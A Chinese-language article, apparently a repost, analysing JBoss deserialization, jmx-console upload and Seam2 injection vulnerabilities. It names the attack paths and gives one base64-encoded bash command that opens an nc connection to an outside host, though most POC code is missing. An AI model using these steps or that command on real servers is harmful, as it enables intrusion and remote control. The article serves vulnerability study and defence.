JBoss高危漏洞分析


前言

JBoss是一個基於J2EE的開放源代碼應用服務器,代碼遵循LGPL許可,可以在任何商業應用中免費使用;JBoss也是一個管理EJB的容器和服務器,支持EJB 1.1、EJB 2.0和EJB3規范。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。在J2EE應用服務器領域,JBoss是發展最為迅速的應用服務器。由於JBoss遵循商業友好的LGPL授權分發,並且由開源社區開發,這使得JBoss廣為流行。

0×01 JBoss優點

JBoss有許多優點。

 

其一,將具有革命性的JMX微內核服務作為其總線結構

 

其二,本身就是面向服務架構(Service-Oriented Architecture,SOA);

 

其三,具有統一的類裝載器,從而能夠實現應用的熱部署和熱卸載能力。

 

因此,高度模塊化的和松耦合。JBoss應用服務器是健壯的、高質量的,而且還具有良好的性能。

 

JBoss AS作為Redhat公司的商業產品JBoss Enterprise Application Platform的上游基礎,為了避免用戶混淆,該公司在去年10月份就為JBoss AS擬定一個新名字——WildFly。

 

趨勢由此看來,國內使用JBoss服務的用戶很廣泛,因此防范JBoss漏洞就顯得尤為重要了。一旦JBoss的潘多拉魔盒被打開,必將在當今網絡中掀起腥風血雨。

 

0×02 高危漏洞介紹

 

近幾年JBoss爆發的漏洞數量與其他著名的中間件(Weblogic,Jenkins,WebSphere等)相比,數量相對較少。然而,由於最近幾年Java反序列化漏洞的肆虐,JBoss也深受其害,相繼爆發了三個著名的高危漏洞。

 

下面介紹一下JBoss“潘多拉魔盒”中的高危漏洞。

 

JBoss高危漏洞主要涉及到兩種。

 

第一種是利用未授權訪問進入JBoss后台進行文件上傳的漏洞,例如:CVE-2007-1036,CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。

 

另一種是利用Java反序列化進行遠程代碼執行的漏洞,例如:CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。

 

除此之外,還要額外介紹一下JBoss seam2的模板注入CVE-2010-1871漏洞。

 

Java反序列化RCE漏洞

 

關於Java反序列化漏洞的利用思路此前已經介紹過,詳情請看http://www.freebuf.com/vuls/179579.html

 

1. CVE-2015-7501漏洞

 

此漏洞主要是由於JBoss中invoker/JMXInvokerServlet路徑對外開放,由於JBoss的jmx組件支持Java反序列化,並且在反序列化過程中沒有加入有效的安全檢測機制,導致攻擊者可以傳入精心構造好的惡意序列化數據,在jmx對其進行反序列化處理時,導致傳入的攜帶惡意代碼的序列化數據執行,造成反序列化漏洞,下面是傳入的序列化結構。

 

反序列化RCE漏洞從圖中我們可以看到,此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同,都是利用了Apache Commons Collections的基礎庫進行Java反序列化漏洞的利用。

 

CVE-2015-7501 POC

 

首先我們進入到/invoker/JMXInvokerServlet路徑下,post傳入我們構造好的payload,下面的序列化POC需要將16進制解碼。

 

 

 

在上面的POC中,cmd是我們想要執行的代碼,這里大家注意一下,binascii.b2a_hex(cmd)前面的兩位(標紅的部分)是代表cmd轉換為16進制的長度。所以需要根據我們具體傳入的代碼而進行調整。

 

這個漏洞的修補方法很簡單,因為ysoserial工具生成的payload都依賴於InvokerTransformer類。如果用戶在正常業務中不使用此類,可以將此類移除,方法為使用Winzip打開jar文件,在org/apache/commons/collections/functors/InvokerTransformer.class刪除該文件。

 

2. CVE-2017-7504漏洞

 

CVE-2017-7504漏洞與CVE-2015-7501的漏洞如出一轍,只是利用的路徑稍微出現了變化,CVE-2017-7504出現在/jbossmq-httpil/HTTPServerILServlet路徑下,一般出現如圖所示的界面,絕大多數存在此漏洞。

 

CVE-2017-7504漏洞漏洞的利用方式也和CVE-2105-7501相同,只需要在存在漏洞的路徑下post傳入我們構造的payload,即可對存在漏洞的服務器進行遠程代碼攻擊。Payload使用上面提到的CVE-2015-7501的POC即可。

 

3. CVE-2017-12149漏洞

 

此漏洞主要是由於jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目錄下的ReadOnlyAccessFilter.class文件中的doFilter方法,再將序列化傳入ois中,並沒有進行過濾便調用了readObject()進行反序列化,導致傳入的攜帶惡意代碼的序列化數據執行,造成了反序列化的漏洞,下面粘出doFilter方法。

 

CVE-2017-12149漏洞看到代碼中的MarshalledInvocation,也許熟悉weblogic Java反序列化漏洞的同學可能會想到CVE-2016-3510漏洞。沒錯,這個漏洞也是利用了MarshalledInvocation類進行的Java反序列化攻擊。首先我們進入到/invoker/readonly路徑下,post傳入我們構造好的payload,下面的序列化POC需要將16進制解碼。

 

CVE-2017-12149的POC(序列化)

 

 

 

這里我們在cmd_hex所在位置,必須要插入類似於

bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}

 

這種形式的命令才可以達到攻擊效果,這是因為使用了“Java.lang.Runtime.exec(String)”語句而導致的一些限制。首先是不支持shell操作符,如輸出重定向以及管道。其次是傳遞給payload命令的參數中不能包含空格。同樣前面標紅的那兩位(b1)也需要和我們插入的指令長度相符,這是Java序列化中的結構規定。

 

如果進入到漏洞所在路徑看見如下圖的界面,很可能存在CVE-2017-12149漏洞。

 

CVE-2017-12149漏洞

 

4. CVE-2013-4810漏洞

 

此漏洞和CVE-2015-7501漏洞原理相同,這里詳細介紹一下兩者的區別,其區別就在於兩個漏洞選擇的進行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue進行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation進行反序列化並上傳構造的文件。

 

首先我們進入到/invoker/JMXInvokerServlet,/invoker/EJBInvokerServlet路徑下,post傳入我們構造好的payload,並在頭部傳入。

 

 

 

下面的序列化POC需要將16進制解碼。

 

CVE-2013-4810的POC(序列化)

 

 

 

POC的序列化結構如下圖:

 

CVE-2013-4810的POC圖中紅框位置就是我們執行上傳文件功能(jboss.admin中的DeploymentFileRepository)的代碼和上傳文件的內容。

 

另外如果是檢測web-console/Invoker路徑下的漏洞,則傳入http頭部如下:

 

 

 

post傳入的payload如下:

 

 

 

POC的序列化結構如下圖:

 

圖片.png圖中紅框位置就是我們上傳文件內容。

 

JBoss后台文件上傳的漏洞

 

1.CVE-2007-1036漏洞

 

此漏洞主要是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進入到jmx控制台,並在其中執行任何功能。該漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通過向四個參數傳入信息,達到上傳shell的目的,其中arg0傳入的是部署的war包名字,arg1傳入的是上傳的文件的文件名,arg2傳入的是上傳文件的文件格式,arg3傳入的是上傳文件中的內容。通過控制這四個參數即可上傳shell,控制整台服務器。但是通過實驗發現,arg1和arg2可以進行文件的拼接,例如arg1=she,arg2=ll.jsp。這個時候服務器還是會進行拼接,將shell.jsp傳入到指定路徑下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在這一特性。

 

CVE-2007-1036 POC

 

 

 

其中war_name是部署war包的名稱,filename是我們想要上傳的文件名。漏洞利用過程就是將POC以GET或POST方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。

 

下圖是利用此payload進行shell上傳:

 

利用此payload進行shell上傳

 

這個是存在漏洞的后台路徑:

 

后台路徑圖中的store()函數便是文件上傳使用的方法,通過構造內部的4的參數,將我們構造好的文件傳到任何我們指定的位置。

 

2. CVE-2010-0738漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區別是CVE-2010-0738漏洞利用了HTTP中HEAD請求方法,繞過了對GET和POST請求的限制,成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上傳文件。 

 

CVE-2010-0738 POC

 

 

 

其中war_name是部署war包的名稱,filename是我們想要上傳的文件名。漏洞利用過程就是將POC以HEAD方式在/jmx-console/HtmlAdaptor路徑下進行傳入即可。

 

下圖是成功上傳shell的截圖。

 

成功上傳shell的截圖

 

3. CVE-2005-5750漏洞

 

此漏洞利用原理和CVE-2007-1036漏洞相同,唯一的區別是CVE-2006-5750漏洞利用methodIndex進行store()方法的調用。其中methodIndex是通過方法的編號進行調用。

 

CVE-2005-5750 POC

 

 

 

其中war_name是部署war包的名稱,filename是我們想要上傳的文件名。在/jmx-console/HtmlAdaptor路徑下,使用HEAD方法傳入上面構造好的payload,即可對此漏洞進行利用。

下圖是成功上傳shell的截圖。

 

成功上傳shell的截圖

 

4. JBoss jmx-consoleHtmlAdaptor addURL() 文件上傳漏洞

 

此漏洞是由於JBoss中/jmx-console/HtmlAdaptor路徑對外開放,並且沒有任何身份驗證機制,導致攻擊者可以進入到jmx控制台,並在其中執行任何功能。該漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL類型 addURL() 
方法,通過向一個參數傳入url進行訪問,在要訪問的url中構造帶有shell的war包,當服務器訪問時便會上傳shell。但是,上傳shell的文件只是一個映射文件,當url一旦無法訪問或者內部資源丟失,則服務器上的文件也會相應消失。

 

JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC

其中arg0傳入的是我們可以控制服務器訪問的url。在/jmx-console/HtmlAdaptor路徑下GET傳入我們構造好的payload,即可對此漏洞進行漏洞利用。

 

下圖是漏洞利用所選擇的函數:

 

漏洞利用所選擇的函數

防御以上漏洞,其實只需要將JBoss后台添加權限,控制訪問者對敏感路徑訪問即可。

 

JBoss seam2模板注入

 

在介紹漏洞之前,首先介紹一下Java反射機制。

 

很多POC都是利用Java的反射機制來調用需要的方法進行遠程代碼執行。在Java中,一切皆為對象,包括Class對象。Java反射機制是在運行狀態中,對於任意一個類,都能夠知道這個類的所有屬性和方法;對於任意一個對象,都能夠調用它的任意一個方法和屬性。

 

在下面的漏洞中,我們可以利用一些函數去反射需要的類,以及類的方法。例如,利用getClass()函數獲取類,並利用getMethod()獲取我們想要反射的方法。在CVE-2010-1871,就是通過反射出Java.lang.Runtime.getRuntime().exec()方法,進行遠程代碼執行。

 

1.CVE-2010-1871漏洞

此漏洞是通過seam組件中插入#{payload}進行模板注入,我們可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我們要執行的方法,我們可以通過Java反射機制來獲取到Java.lang.Runtime.getRuntime().exec()方法,從而可以傳入任何想要執行的指令。

 

CVE-2010-1871 POC

其中cmd代表傳入的遠程命令。在/admin-console/login.seam路徑下,POST傳入我們構造好的payload,即可對此漏洞利用。

0×03 結語

 

目前,JBoss未授權訪問的漏洞已經得到了很好的修復,一些對外組件都添加了權限訪問控制,想繼續利用

 

JBoss的潘多拉魔盒已經開啟,每一個JBoss高危漏洞都會給使用JBoss的用戶造成巨大的災難。傳言,潘多拉在開啟魔盒的瞬間,由於害怕和緊張,在智慧女神雅典娜放在盒子中的“希望”還沒有飛出,就關上了盒子,導致了人類飽受疾病與災難的痛苦。那么作為一個安全研究員,放飛盒子中的“希望”就是我們現在需要努力的方向。及時的在漏洞爆發期間完成對漏洞的分析,並完成對漏洞的預防,防止漏洞攻擊在網絡環境中肆虐,保護大家的網絡環境,這便是安全研究員的職責所在。

 

目前,JBoss未授權訪問的漏洞已經得到了很好的修復,一些管理后台都添加了權限訪問控制,想繼續通過JBoss后台進行文件上傳在現在的JBoss版本已經很少能實現了。目前JBoss的攻擊趨勢隨着2015年FoxGlove Security 安全團隊的 @breenmachine 博客的發布而漸漸偏向於Java反序列化攻擊。因為這種攻擊的特點是,危險等級高,影響范圍廣,一個Java反序列化漏洞造成的影響是巨大的。所以對於JBoss,我們需要做的防護措施就是,在各個對外開放組件進行輸入驗證,確保傳入的信息中沒有對服務器產生危害的內容。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM